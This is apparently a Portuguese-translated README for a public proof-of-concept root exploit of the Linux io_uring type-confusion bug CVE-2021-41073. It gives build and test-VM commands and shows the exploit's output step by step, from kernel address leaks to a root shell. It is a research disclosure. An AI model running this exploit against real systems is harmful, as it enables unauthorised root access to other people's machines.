
Exploração local de escalonamento de privilégios para CVE-2021-41073, uma vulnerabilidade de confusão de tipos em io_uring no kernel Linux, alcançando root em configurações padrão.
Exploit de LPE para a vulnerabilidade de confusão de tipos CVE-2021-41073 no io_uring.
Confira o writeup Put an io_uring on it: Exploiting the Linux Kernel.
autor: @chompie1337
Apenas para fins educacionais/de pesquisa. Não deve ser usado em testes ou avaliações de segurança.
Para compilar (requer liburing):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
Forneci uma VM de teste com um kernel 5.15-rc1 para testar/executar o exploit.
Para iniciar a VM, extraia o arquivo test_vm e execute:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
Acesse a máquina via ssh como usuário sem privilégios:
ssh -p 10021 hi@localhost
senha: lol
Para executar:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
Às vezes são necessárias 3-4 tentativas para concluir toda a sequência do exploit. Reinicie a VM após cada tentativa de exploit. Trabalhos futuros podem ser feitos para melhorar este exploit; as técnicas são fornecidas no writeup. Estou divulgando o PoC com o estrito propósito de compartilhar conhecimento com outros pesquisadores e com aqueles que desejam aprender sobre exploração avançada do kernel.
Este exploit é uma PROVA DE CONCEITO das técnicas discutidas no post do blog e alcança escalonamento local de privilégios no Linux Kernel 5.15-rc-1 com configurações padrão. NÃO é minha intenção adaptar um exploit e transformá-lo em arma para funcionar com todas as versões afetadas do Linux. Forneci o código para demonstrar a maioria das técnicas discutidas e criei e documentei as técnicas necessárias para contornar várias mitigações que algumas distribuições podem habilitar no post do blog que acompanha este conteúdo.
As configurações do kernel usadas na VM de teste fornecida estão na pasta test_vm, caso você queira trabalhar com um kernel compilado personalizado. Se quiser contribuir, pull requests são bem-vindos :)
Esta pesquisa foi patrocinada pela Grapl.